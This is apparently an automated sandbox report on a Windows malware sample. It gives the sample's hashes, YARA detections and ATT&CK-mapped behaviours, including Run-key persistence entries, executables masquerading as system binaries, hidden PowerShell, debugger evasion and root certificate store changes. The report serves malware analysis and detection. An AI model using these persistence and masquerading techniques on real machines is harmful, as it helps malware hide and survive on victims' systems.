68799c8e9301c682545476e8f6f1be3f84e1492281e4241eaec47ce59ab8496a

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/11/2026, 23:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Size 46.8MB
Sample261110-3brvyacc83
SHA256 68799c8e9301c682545476e8f6f1be3f84e1492281e4241eaec47ce59ab8496a
MD5 307ca42b8912570886b62e6a161d6ba6
SHA1 4405e493698aeb363d81aa51a427ff6a7a8aa0d3
SHA512 862621ce0059a2c4bc50c5b55fbe8c448e8f37ddc8d4efc1d4876a5d438ecca2ee36fee1f2415ce60eb12bafc83b4bfb186cdb21e3ab612d6b6705bc6a1bf863
SSDEEP 786432:2LoJietjb/5L7w5Xz4wTzxaufdV/Wg/DEXvShSUObItNQwYZ:/iGY5RTz3vHYzUF
TLSH
T147B7BE03E86541E9D4AAD535C6369233BB707C895B2463C72B60F7282F77BD0AE7A740
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence spyware trojan

Malware Config

Signatures

Custom signature

Detects Windows executables referencing non-Windows User-Agents 1 IoCs

resource	yara_rule
behavioral1/files/0x00080000000242f2-18.dat	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Custom signature

Detects executables using Telegram Chat Bot 1 IoCs

resource	yara_rule
behavioral1/files/0x00080000000242f2-18.dat	INDICATOR_SUSPICIOUS_EXE_TelegramChatBot

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4552	powershell.exe
1612	powershell.exe
1080	powershell.exe
2796	powershell.exe
3744	powershell.exe
3040	powershell.exe
2116	powershell.exe
3328	powershell.exe
1480	powershell.exe
2636	powershell.exe
4000	powershell.exe
4848	powershell.exe
3120	powershell.exe
364	powershell.exe
4964	powershell.exe
3804	powershell.exe
4392	powershell.exe
1640	powershell.exe
3404	powershell.exe
3604	powershell.exe
3848	powershell.exe
4072	powershell.exe
4980	powershell.exe
4916	powershell.exe
2584	powershell.exe
3328	powershell.exe
2868	powershell.exe
1868	powershell.exe
2000	powershell.exe
1368	powershell.exe
864	powershell.exe
4884	powershell.exe
4260	powershell.exe
3976	powershell.exe
4496	powershell.exe
2392	powershell.exe
3976	powershell.exe
656	powershell.exe
4404	powershell.exe
1992	powershell.exe
4580	powershell.exe
3376	powershell.exe
4504	powershell.exe
1480	powershell.exe
4256	powershell.exe
656	powershell.exe
3860	powershell.exe
4164	powershell.exe
4424	powershell.exe
1672	powershell.exe
656	powershell.exe
1768	powershell.exe
3472	powershell.exe
3240	powershell.exe
3860	powershell.exe
4900	powershell.exe
3324	powershell.exe
772	powershell.exe
4948	powershell.exe
1020	powershell.exe
2104	powershell.exe
1224	powershell.exe
4964	powershell.exe
1672	powershell.exe

Executes a file named after a Windows system binary 1 TTPs 12 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	dllhost.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe	dllhost.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	dllhost.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe	dllhost.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe

Executes dropped EXE 25 IoCs

pid	Process
4912	FontCacheService.exe
1184	FontCacheService.exe
1912	FontCacheService.exe
984	RuntimeBroker.exe
1844	dllhost.exe
2116	dllhost.exe
3416	dllhost.exe
1496	dllhost.exe
3264	dllhost.exe
1020	dllhost.exe
3304	dllhost.exe
1816	RuntimeBroker.exe
4968	RuntimeBroker.exe
1916	RuntimeBroker.exe
3668	dllhost.exe
3864	dllhost.exe
2068	dllhost.exe
4200	dllhost.exe
2204	dllhost.exe
4560	dllhost.exe
2584	RuntimeBroker.exe
4628	RuntimeBroker.exe
1248	dllhost.exe
2000	dllhost.exe
4196	dllhost.exe

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\RuntimeBroker.exe\" --backup-guard"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\dllhost.exe\" --backup-listen"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\RuntimeBroker.exe\" --backup-guard"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FontCacheDataService = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\FontCache\\Data\\FontCacheService.exe"	FontCacheService.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\dllhost.exe\" --backup-listen"	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\RuntimeBroker.exe\" --backup-guard"	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\dllhost.exe\" --backup-listen"	dllhost.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 23 IoCs

defense_evasion

Debugger Evasion

T1622

pid	Process
3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
3416	dllhost.exe
984	RuntimeBroker.exe
1844	dllhost.exe
2116	dllhost.exe
1020	dllhost.exe
3264	dllhost.exe
3304	dllhost.exe
1496	dllhost.exe
4968	RuntimeBroker.exe
1816	RuntimeBroker.exe
1916	RuntimeBroker.exe
3668	dllhost.exe
3864	dllhost.exe
2068	dllhost.exe
4200	dllhost.exe
2204	dllhost.exe
2584	RuntimeBroker.exe
4560	dllhost.exe
4628	RuntimeBroker.exe
1248	dllhost.exe
2000	dllhost.exe
4196	dllhost.exe

Drops file in Program Files directory 61 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-kn.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-nb.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-und-ethi.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-de-1901.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-hi.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-sl.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-be.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-gl.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-pa.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-sv.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_583891638\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\_metadata\verified_contents.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-es.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-ga.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-ru.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-sq.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-uk.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-cy.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-bg.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-cu.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-de-1996.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-el.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-et.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-hy.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-la.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-mul-ethi.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-da.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-fr.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-or.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_413039108\protocols.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-it.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-lv.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-nl.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-en-us.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-hu.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-ka.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-mn-cyrl.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-tk.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_413039108\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_413039108\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-af.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-as.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-lt.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-ml.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-mr.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-nn.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_583891638\crl-set	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-de-ch-1901.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-pt.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-sk.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-ta.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-bn.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-cs.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-gu.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_583891638\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-en-gb.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-eu.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-hr.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4480_1771545921\hyph-te.hyb	msedgewebview2.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	dllhost.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe

Kills process with taskkill 18 IoCs

defense_evasion

pid	Process
2156	taskkill.exe
1124	taskkill.exe
4232	taskkill.exe
3744	taskkill.exe
4988	taskkill.exe
216	taskkill.exe
2076	taskkill.exe
2704	taskkill.exe
4524	taskkill.exe
3244	taskkill.exe
860	taskkill.exe
4116	taskkill.exe
3688	taskkill.exe
2108	taskkill.exe
2108	taskkill.exe
4764	taskkill.exe
4420	taskkill.exe
372	taskkill.exe

Modifies system certificate store 2 TTPs 4 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B\Blob = 5c00000001000000040000000008000019000000010000001000000021d008b47b7a2a81c8435903ded424c903000000010000001400000047beabc922eae80e78783462a79f45c254fde68b7e00000001000000080000000080826f22e7dc011d000000010000001000000070253fbcbde32a014d38c1993098ad991400000001000000140000003a9a8507106728b6eff6bd05416e20c194da0fde7f0000000100000016000000301406082b0601050507030306082b0601050507030462000000010000002000000045140b3247eb9cc8c5b4f0d7b53091f73292089e6e5a63e2749dd3aca9198eda53000000010000002500000030233021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f007200690074007900200013202000470032000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000003560e45b41e46b8f36537025d1d5bc02d9652a10645b0eff69e8b6a52191f335040000000100000010000000803abc22c1e6fb8d9b3b274a321b9a012000000001000000c9030000308203c5308202ada003020102020100300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bf716208f1fa5934f71bc918a3f7804958e9228313a6c52043013b84f1e685499f27eaf6841b4ea0b4db7098c73201b1053e074eeef4fa4f2f593022e7ab19566be28007fcf316758039517be5f935b6744ea98d8213e4b63fa90383faa2be8a156a7fde0bc3b6191405caeac3a804943b467c320df3006622c88d696d368c1118b7d3b21c60b438fa028cced3dd4607de0a3eeb5d7cc87cfbb02b53a4926269512505611a44818c2ca9439623dfac3a819a0e29c51ca9e95d1eb69e9e300a39cef18880fb4b5dcc32ec85624325340256270191b43b702a3f6eb1e89c88017d9fd4f9db536d609dbf2ce758abb85f46fccec41b033c09eb49315c6946b3e0470203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604143a9a8507106728b6eff6bd05416e20c194da0fde300d06092a864886f70d01010b0500038201010099db5d79d5f99759670361f17e3b0631752da1208e4f6587b4f7a69cbcd8e92fd0db5aeecf748c73b43842da057bf80275b8fda5b1d7aef6d7de13cb53107e8a46d197fab72e2b11ab90b02780f9e89f5ae9379fabe4df6cb385179d3dd9244f799135d65f04eb8083ab9a022db510f4d890c7047340ed7225a0a99fec9eab68129957c68f123a09a4bd44fd061537c19be432a3ed38e8d864f32c7e14fc02ea9fcdff076817db2290382d7a8dd154f169e35f33ca7a3d7b0ae3ca7f5f39e5e275bac5761833ce2cf02f4cadf7b1e7ce4fa8c49b4a5406c57f7dd5080fe21cfe7e17b8ac5ef6d416b243090c4df6a76bb4998465ca7a88e2e244be5cf7ea1cf5	dllhost.exe
